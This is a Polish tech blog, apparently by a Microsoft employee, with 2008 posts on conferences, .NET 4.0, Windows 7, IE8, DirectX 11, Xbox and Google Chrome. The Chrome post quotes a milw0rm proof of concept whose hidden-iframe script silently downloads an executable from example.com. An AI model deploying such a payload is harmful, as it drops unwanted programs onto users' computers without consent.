No i stało się, konferencja wielkimi krokami już prawie nadeszła. Oczywiście tam będę. Będę miał też swoją sesję. Poza tym powinienem być też uchwytny do rozmów w kuluarach Pałacu Kultury i Nauki :)
Ostatnia wiadomość przedkonferencyjna jaką mam wam do zaproponowania to streaming online z głównej sesji z jutrzejszego dnia.
Od godziny 9:30 do godziny 11:00 na stronach www.mts2008.pl będzie można tę sesję obejrzeć z domu.
Im bliżej PDC tym ciekawsze informacje pojawiają się dostępne publicznie.
Steve Martin na swoim blogu opublikował dzisiaj parę ciekawych informacji na temat .NET Framework 4.0 oraz rozszerzeń do Windows Server o nazwie kodowej "Dublin".
Rozwijając "Dublin" na tyle na ile zrozumiałem to będzie po prostu serwer aplikacyjny Microsoft .NET Framework zoptymalizowany pod jak najlepsze wykorzystanie tego co przyniesie wersja 4.0.
Jeżeli chodzi o same .NET Framework 4.0 to zmiany w WCF oraz WF 4.0 przyniosą kolejne uproszczenia, możliwość stworzenia serwisów praktycznie kompletnych za pomocą deklaratywnego języka. Workflow Foundation dostarczy paru nowych modeli do wykorzystania oraz nowe typy aktywności (np. wykorzystujące Powershell, kolejkowanie wiadomości).
Jakbyście chcieli poczytać coś więcej poza blogiem Steve'a to poniżej są odnośniki do dodatkowych zasobów:
* Webcast omawiający "Dublin"
* Dokument opisujący "Dublin" szerzej.
Nie chcę zapeszać, natomiast jest duża szansa, że na/po PDC będzie można się pobawić pierwszym CTP zarówno .NET Framework 4.0 jak i Dublinem.
Nie wiem czy zauważyliście nowe Silverlightowe dodatki na stronach operatora komórkowego Era:
http://www.era.pl/pl/indywidualni/telefony/dobierz_telefon_beta
Jest to serwis umożliwiający wybór i porównanie oferty telefonów od tegoż operatora.
Strona jak to strona, estetyczna, funkcjonalna, to co mnie cieszy to fakt, ze jest tam właśnie wykorzystany Silverlight
Czas szybko leci, PDC już nie długo, jeśli ktoś rozważa jeszcze wylot to zapraszam na stronę konferencji.
Powodów dla których warto śledzić to wydarzenie jest wiele. Jeden, który mogę podać na szybko to fakt, że będzie tam pierwsza okazja zobaczenia Windows 7 na żywo.
Sprawdziłem dokładniej jakie treści dla programistów przygotowane są właśnie dla programisty zainteresowanego Windows "7". Poniżej zestawienie:
Rozszerzenia Shell:
* Wprowadzenie do Pulpitu Windows 7
* Integracja z Taskbarem
* Deep Dive: Co nowego w USER32 oraz COMCTL32
Nowe technologie:
* Windows 7: Touch Computing (nie znam jeszcze kontekstu więc nie chciałem bez sensu tłumaczyć:>)
* Nowe APIs dla budowania aplikacji kontekstowych (Context-Aware)
* Wyciskanie GPU z pomocą Direct3D
* Nowe APi Windows 7 dla zarządzania Tekstem i Grafiką
* Windows 7: Webserwisy w natywnym kodzie
Najlepsze praktyki w programowaniu Windows 7:
* Programowanie dla użytkowników bez uprawnień administracyjnych
* Projektowanie efektywnych procesów w tle
* Przedłużanie życia baterii poprzez pisanie aplikacji efektywnie zarządających energią
* Wykorzystanie instrumentalizacji i diagnostyki w Windows 7
Tematy w oryginale na stronie konferencji.
Jak by dobrze po sieci poszukać to można znaleźć już całkiem sporo ciekawych hipotez i komentarzy na temat zbliżającej się kolejnej wersji Windows.
Na przykład pod tym adresem: http://uxevangelist.blogspot.com/2008/09/windows-7-build-6780-new-screenshots.html możecie znaleźć parę niewiele jeszcze mówiących, ale wciąż zrzutów ekranu. Ten sam autor pod tym adresem http://uxevangelist.blogspot.com/2008/09/windows-7-paint-and-wordpad-new-ui-new.html dodaje jeszcze parę komentarzy o wstążce w systemowym Paincie i Wordpadzie oraz parę innych informacji.
Zebrane komentarze w postaci całkiem ciekawego artykuły możecie znaleźć na ZDNet: http://blogs.zdnet.com/microsoft/?p=1590
Cytując Polygamię, na LinkedIn powstała grupa polskich twórców gier komputerowych zapoczątkowana przez kolegów z CD Projekt - Red - twórców Wiedzmina.
Zainteresowanych odsyłam tutaj: http://www.linkedin.com/groups?home=&gid=719387
Jeśli jesteście zainteresowani tematem to zapraszam do kontaktu via LinkedIn z Jackiem Brzezińskim i/lub Maćkiem Siniło, którzy widnieją tam jako właściciele grupy.
Maćku, wiem, że od czasu do czasu zaglądasz na mojego bloga. Czy możesz rzucić jakiś komentarz jakie macie plany z tą grupą (if any)? Może polski chapter w IGDA?
Na Twoim blogu niestety nie widzę żadnych informacji, ale prowadzisz go dla anglojęzycznego czytelnika, więc może dlatego.
W marcu zeszłego roku Tom Hollander pochwalił się, że wspólnie z kolegami z Patterns&Practices pracują nad aktualizacją całkiem dobrego wciąż podręcznika wyjaśniającego modelową architekturę aplikacji pod .NET Framework.
Trochę czasu od marca minęło. Parę dni temu Tom oznajmił, że prace nad podręcznikiem potrwają jeszcze trochę. Szkoda. Osobiście czekam na tę aktualizację. Oryginał to bardzo dobry podręcznik wyjaśniający wiele koncepcji. Na szczęście został napisany z wysokiego pułapu i wciąż wiele elementów jest aktualnych.
Na pocieszenie mogę dodać, że team P&P w te wakacje wydał inny całkiem ciekawy podręcznik: WCF Security Guide.
Artykuł oczywiście po polsku, ale pozwoliłem sobie na ten angielski tytuł z dwóch powodów.
Pierwszy to fakt, że ten tytuł to cytat z jednej z moich wczorajszych rozmów z klientem. Mniej więcej tak została ta rozmowa podsumowana.
Mnie się zrobiło miło, bo aby pozytywnie zaakcentować i podsumować spotkanie można użyć miliona słów. Te bardzo ładnie trafiły do mnie.
Drugi powód to konferencja, na której niestety nie byłem, natomiast było paru moich kolegów z biura - Patryk Goralowski oraz Mariusz Jarzębowski.
Konferencja, o której mówię została zorganizowana przez twórców portalu dobreprogramy.pl i miała miejsce w Jastrzębiej Górze. Na tej konferencji Patryk opowiedział o usługach Windows Live a Mariusz o historii wstążki z najnowszej odsłony Office System. Obie prezentacje widziałem przy innej okazji i na mnie nawet wewnętrznie zrobiły wrażenie zarówno przez zawartość jak i sam sposób jak koledzy obie historie opowiedzieli.
Przeglądając blogi natrafiłem na ciekawą opinię jednego z uczestników, która ponownie, bardzo pasuje do powyższego tematu.
Bardzo się cieszę, że nawet środowiska, które, na co dzień mogą być nieprzychylne produktom i ofercie Microsoft potrafią merytorycznie docenić fakt, że są mimo wszystko obszary, w których mamy coś interesującego do powiedzenia. Bardzo się też cieszę, że mamy w naszych szeregach osoby, które potrafią o tych tematach opowiadać tak, aby z zaskoczenia zaciekawić takową publiczność.
Jak to powiedział tytułowy bohater z filmu Hancock - Good job! :)
Jeśli nie dotarliście do nowej pozycji na liście blogów, która warto przeglądać to zachęcam do wrzucenia poniższego odnośnika do ulubionych:
http://blogs.msdn.com/e7/
Na tym blogu, zatytułowanym Engineering Windows 7, Steven Sinofski oraz Jon DeVaan piszą o następnej wersji Windows.
Pierwsze wpisy są arcyciekawe, zachęcam do częstego odwiedzania.
Ja
koś dziwnie do tego wpisu pasuje mi William Gibson i jego zbiór opowiadań "Burning Chrome". Zresztą gdzieś tu obok powinniście widzieć okładkę. Po takim wstępie powinniście się też domyślać o czym będzie mowa.
Dużo tzw. "hype" pojawiło się momentalnie wokół nowego jeszcze niezbyt dojrzałego dziecka Google czyli Google Chrome Browser. Nie jest to pierwszy hype ostatnich czasów związany z hi-tech, więc już zdążyłem przywyknąć do tego typu sytuacji. Nie wiem czy nabrałem dystansu natomiast, aż tak strasznie się nie ekstycuję.
iPhone też ma dużego hype'a, ale żeby był synonimem iPoda w swojej kategorii jakoś trudno mi uwierzyć.
Jak dotarła do mnie wiadomość o chromie, to przejrzałem sobie najpierw komiks, a później kilka zdań na stronie projektu z wytłumaczeniem, po co w ogóle został stworzony i co nowego wnosi. Po co? Tutaj zaskoczenia nie ma w ogóle. Firma, która swoją działalność opiera o internet i kreuje się jako jeden z wizjonerów jego przyszłości nie uczestnicząca jednocześnie w tym jak wyglądają podstawowe medium do jego obsługi? Coś tu nie gra, nie? Odpowiedź właśnie się pojawiła - Chrome.
Odpowiedź, co takiego nowego Chrome wprowadza jako teoria mi się nawet spodobała. Obserwując rozwój przeglądarek - czy to będzie IE, czy to będzie Firefox, czy inni pomniejsi gracze lub na nieznane mi platformy wprowadzają zmiany moim zdaniem drobnymi kroczkami, ewolucyjnie i nadganiając siebie nawzajem jak tylko drugi wymyśli coś, co cała rzesza internautów pokocha (vide taby, przez które kiedyś przesiadłem się na FF na jakiś czas). Nie nazwałbym jednak tych zmian rewolucyjnymi. Na stronie chrome czytam coś, co zrozumiałem mniej więcej tak: Koledzy z Google sobie siedli, pomyśleli i doszli do wniosku, że po obserwacjach jak internauci korzystają z internetu i z ich usług należało by trochę zrewolucjonizować pojęcie przeglądarki. Zapał i zamiar zrozumiałem dokładnie tak - to ma być rewolucja.
Rozumiem, że to beta, natomiast wciąż rewolucji nie widzę. To, co zobaczyłem, abstrahując od innych rzeczy, to niedoskonała wciąż przeglądarka adresowana dla bardzo nieświadomych użytkowników końcowych, albo technologów, którzy zobaczą w niej potencjał jako jedno z narzędzi wspomagających web development. Ot w bezpośrednim starciu to bardziej konkurencja dla Firefoxa niż Internet Explorera.
Jako pracownik Microsoftu przyznam, że nawet się cieszę, że Chrome się pojawił. Wbrew pewnie co poniektórym apokaliptykom nie widzę przesłanek do śmierci IE, co najwyżej jeszcze ciekawszej, dynamiczniejszej i zdrowej konkurencji w walce o tę upragnioną rewolucję w internecie.
Prasa zdążyła się już szeroko rozpisać na temat Chrome. Tematu też licznie podjęli się blogerzy. Jak widać "hype" jest, ale na razie nic więcej.
Jakbyście chcieli dowiedzieć się czegoś więcej to:
Tomek Onyszko na swoim blogu rzucił parę technologicznych uwag. Warto zajrzeć też do komentarzy do jego wpisu. Mnie w sumie też się nie podoba, że każdy element przeglądarki figuruje jako osobny proces. Obserwując jak Chrome wykorzystuje zasoby komputera, wcale nie uważam, że jest taki lekki, ach och.. jak piórko.
Kwestia licencji też jest ciekawym tematem, o czym wielu z was na pewno już przeczytało. Jeśli nie, to angielski The Register jest dobrym odnośnikiem.
Polska prasa też nie została obojętna tematowi, jak np. moja "ulubiona" Rzeczpospolita i jej artykuły wieszczące apokalipsę i ostatni bój z Microsoftem.
http://www.rp.pl/artykul/185392.html, http://www.rp.pl/artykul/185073.html oraz http://www.rp.pl/artykul/185345.html. Cóż, szanuję prawo niektórych dziennikarzy do histerii, ale się z nim nie zgadzam :)
Jeszcze jedna ciekawostka, którą wyszukałem w sieci dotyczy bezpieczeństwa, które tak bardzo podobno Chrome adresuje. Polecam ten link:
http://www.milw0rm.com/exploits/6355
Cytując powyższe znalezisko:
[
***************************************************************************
Author: nerex
E-mail: nerex[at]live[dot]com
Google's new Web browser (Chrome) allows files (e.g., executables) to be automatically
downloaded to the user's computer without any user prompt.
This proof-of-concept was created for educational purposes only.
Use the code it at your own risk.
The author will not be responsible for any damages.
Tested on Windows Vista SP1 and Windows XP SP3 with Google Chrome (BETA)
**************************************************************************
<script>
document.write('<iframe src="http://www.example.com/hello.exe" frameborder="0" width="0" height="0">');
</script>
# milw0rm.com [2008-09-03]
]
Mnie zrobiło się słabo, nawet jeśli wezmę pod uwagę, że to Beta.
Na początku nawiązałem do klasyki cyberpunka w fantastyce. Kontynuując tę analogię i przechodząc dalej w gry fabularne (RPG) nasuwa mi się pewne skojarzeine. Był taki podręcznik rozszerząjący grę Cyberpunk 2020: książka nazywała Chromebook. W zasadzie to wiele książek bardziej niż jedna. Poszczególne tomy miały numeracje wolumenów i stały tytuł. Czekam zatem na Chromebook: Volume 2. Forma komiksu jak najbardziej mi odpowiada :)
Ostatnio niewiele piszę. Nie oznacza to, że zawieszam bloga czy cokolwiek w tym kierunku. Sierpień to był u mnie okres urlopowy, a teraz po wakacjach de facto zaczał się dla mnie naprawdę ten nowy rok finansowy (FY09).
Jedyne na to potrafiłem znaleźć czas teraz to przekazanie wam wydaje mi się co istotniejszych niusów jakie do mnie dotarły.
Poza oczywiście pracą, pracą, pracą (tak wiem, jestem trochę pracoholikiem :>) trzeba mieć też czas na życie. No i mamy sprężenie zwrotne i niewiele postów od w zasadzie końca lipca.
Życie, życiem, a ja wczoraj dając sobie odrobinę wytchnienia postanowiłem odkurzyć parę pudełek z grami na Xbox'a i pograłem sobie to w to, to w tamto.
Co zauważyłem podczas grania? Nagle stuknęło mi równiutkie 5000 GS (Gamerscore). Niby żaden wynik, najwięksi maniacy elektronicznej rozrywki mają ponad 300 tysięcy punktów (źródło: http://www.mygamercard.net/leaderboard.php).
W Polsce z tego co zobaczyłem to najwięcej niejaki juve26 i punktów bagatela ~125 tysięcy. Tak jak mówię, moje skromne 5000 pokazuje, że chyba już jestem raczej okazjonalnym graczem niżeli bym miał zrywać sobie ścięgna w Halo.
Dlaczego o tym więc piszę? Ponieważ spełniły się pewne założenia, które może nie tyle jako cel co pewna hipoteza. Jak kupowałem Xbox'a i patrzyłem po znajomych, którzy go już posiadali to od razu zwróciłem uwagę na ten nieszczęsny GS. Jest to bowiem cecha Xbox Live, moim zdaniem w miarę genialna aby jeszcze bardziej przykuć Bogu ducha nieświadomych graczy do częstszego grania, dłuższego grania, powtarzania tego samego tytułu wiele razy na różnych poziomach trudności, słowem przedłużania żywotu gier.
Lubię grać w gry komputerowe, natomiast mam na to coraz mniej czasu i tak jak go kupowałem i rozmawiałem ze znajomymi to sobie tak luźno stwierdziłem, że z taka dyspozycyjnością jaką większość z nas ma to nie da się zrobić rocznie więcej niż 5000-6000 punktów w XBL. Jeśli ktoś zrobi więcej to może oznaczać, że ma dużo mniej czasu na inne rzeczy prywatnie albo generalnie zabija sobie wiele aktywności "bo musi zagrać w kolejnego hiciora".
Tak po roku posiadania Xbox'a (w październiku skoczy, więc w ten pułap 5-6 tysięcy się ciągle chyba będę łapał) muszę stwierdzić, że trochę w tym prawdy jest (z autopsji), aczkolwiek z małą korektą. Ten rok dla Xbox'a był bardzo urodzajny i można było sobie zagrać w wiele bardzo ciekawych pozycji.
Limitem poza czasem może tutaj oczywiście być portfel i budżet domowy, na ratunek zaś z drugiej strony przychodził słaby dolar i inne waluty oraz takie dobrodziejstwa jak ebay.com, kangury (dvdcrave.com) czy play-asia.com. Można sobie jakoś poradzić. :) Więc ta korekta u mnie polega głównie na tym, że jak się pojawił wysyp to potrafiłem zniknąć na 50-60h gameplaya bo chciałem zobaczyć co jest na finiszu.
Ostatnio takim tytułem było GTA4. Wpadłem jak śliwka w kompot. Wcześniej Bioshock.. Generalnie w ciągu tego roku zagrałem w parę takich tytułów, które coraz ciężej mi klasyfikować jako gry komputerowe same w sobie co raczej ogólnie pop-kulturową rozrywkę porównywalna do obejrzenia dobrego serialu TV czy wycieczki do kina na Batman: Mroczny Rycerz czy przeczytania jakiejś beletrystyki od deski do deski, a później dumanie nad nią parę godzin z wrażenia z ciężką potrzebą podyskutowania sobie na ten temat.
Tak się w ramach podsumowania zastanawiam. Za rok stuknie mi 30stka. Niby świadomy jestem, że gry komputerowe teraz targetowane są na 25-35 lat w większości (dorosły, młody człowiek, zarabiający, którego samemu stać na zabawki), natomiast ciekaw jestem czy mimo wszystko kiedyś z tego hobby wyrosnę :)
Krótka informacja dla zarejestrowanych na konferencję MTS. Zachęcam do stworzenia sobie harmonogramu osobistego. Taka możliwość jest otwarta tylko do 12 września.
Decyduje kolejność zgłoszeń, a mimo bogatego programu konferencji chyba warto bardziej świadomie móc sobie wybrać sesje niż potem chodzić tylko tam gdzie zostało miejsce.
Dla "zielonych" [:)] instrukcja jest tutaj: http://www.mts2008.pl/instrukcja.aspx
|
|
Wersja IE 8 Beta 2 do pobrania tutaj. Więcej szczegółów na tej stronie. |
Poszlakowo o IE8 już pisałem jakiś czas
temu. Najwięcej jednak wyszło w komentarzach i zabawnie wyglądającym stronom internetowym bez włączenia renderingu kompatybilnego z IE7. Przychodzi Beta 2 więc może czas napisać coś więcej o filarach nowej wersji przeglądarki od Microsoft.
Tych filarów w zasadzie jest pięć (a przynajmniej moich ulubionych):
* Bezpieczeństwo - temat rzeka, nie wnikająć w szczegóły wiadomo, że aplikacja, która bezpośrednio konfrontuje się z internetem jest najbardziej narażona i co zarazem każda wersja powinna przejść solidny test pod kątem bezpieczeństwa i być stale aktualizowana pod tym kątem.
* Nawigacja - tzw. smart address bar. Niby prosta rzecz, niby wcześniej tego nie potrzebowaliśmy, ale skoro już się pojawiło w świecie przeglądarek to okazuje się, że to całkiem miły ficzer. O co chodzi? O przeszukiwanie historii adresów, kontekstów wyszukiwań tak żeby nie musieć wpisywać www.nytimes.com aby wejść na stronę New York Times. Wystarczy dokładnie w pasku adresu wpisać nazwę, której poszukujemy i sprytny pasek spróbuje nam znaleźć odpowiedni adres.
* Search Suggestion - kolejny miły dodatek, czyli sugerowanie czego poszukujemy w okienku szybkiego wyszukiwania (na prawo od paska adresowego).
* Web Slices - coś unikalnego dla IE - w jednym zdaniu - ewolucja w zapamiętywaniu ulubionych elementów w sieci.
* Akceleratory - czyli wszelakie "przyspieszacze" jak zaznaczenie adresu ze strony i przekazanie do wyszukiwania na mapie, albo na Ebay/Allegro, itd.
Na Gamasutrze jest ciekawy artykuł wprowadzający czytelnika w tajniki architektury DirectX 11. Myślę, że warto się z nim zapoznać dla każdego kto choć trochę ma do czynienia z programowaniem grafiki komputerowej.
Link jest poniżej:
http://www.gamasutra.com/view/feature/3759/sponsored_feature_introducing_.php
W artykule szczególny nacisk został położony na omówienie Shader Model 5.0
Znaczy, że jednak DX będzie dalej kontynuowany. Kiedyś gdzieś mnie dochodziły słuchy, że ostatni ma być 10 a potem coś kompletnie odmiennego.. Okazuje się, że to tylko jakieś echo plotki.
Miłej lektury.
Finał nagród CRM Magazine za nami, Dynamics CRM dostał 6 nagród w tym 2 nagrody "Elite Award", nagrodę "Leader Award", oraz "Influencial Leader Award".